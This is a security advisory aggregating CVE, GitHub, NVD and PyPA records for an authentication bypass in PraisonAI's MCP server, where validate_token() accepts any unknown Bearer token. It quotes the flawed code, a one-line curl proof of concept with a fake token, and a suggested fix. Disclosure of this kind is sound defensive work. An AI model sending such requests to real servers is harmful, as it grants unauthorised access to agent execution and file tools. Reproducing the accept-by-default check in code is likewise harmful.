9.1critical
PraisonAI: Authentication Bypass in OAuthManager.validate_token()
- Severity
- 9.1critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.43% (higher than 38% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-98f9-fqg5-hvq5PYSEC-2026-468
Description
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. This issue has been patched in version 4.5.97.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| MervinPraison PraisonAI | < 4.5.97 | CVE List |
| praisonai (PyPI) | before 4.5.97 | GitHub Advisory Database, PyPA Advisory Database |
| praison praisonai | before 4.5.97 | NVD |
All scores
| GitHub_M | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| PyPA Advisory Database | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. This issue has been patched in version 4.5.97.
GitHub Advisory Database
Summary
OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.
Details
oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)
# source
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# sink -- _tokens is empty by default, loop never executes, falls through
return True
PoC
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080
curl -s -X POST http://127.0.0.1:8080/mcp \
-H "Authorization: Bearer fake_token_abc123" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/list","id":1}'
# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
Impact
Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.
Suggested Fix
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# Unknown tokens must be rejected.
# For external/JWT tokens, call the introspection endpoint here before returning.
return False
NVD (es)
PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.97, OAuthManager.validate_token() devuelve True para cualquier token no encontrado en su almacén interno, el cual está vacío por defecto. Cualquier solicitud HTTP al servidor MCP con un token Bearer arbitrario se trata como autenticada, otorgando acceso completo a todas las herramientas registradas y capacidades de agente. Este problema ha sido parcheado en la versión 4.5.97.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34953 changed 2026-04-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-98f9-fqg5-hvq5 changed 2026-11-16 | CC-BY-4.0 |
| NVD | CVE-2026-34953 changed 2026-07-24 | Public domain |
| PyPA Advisory Database | PYSEC-2026-468 changed 2026-07-13 | CC-BY-4.0 |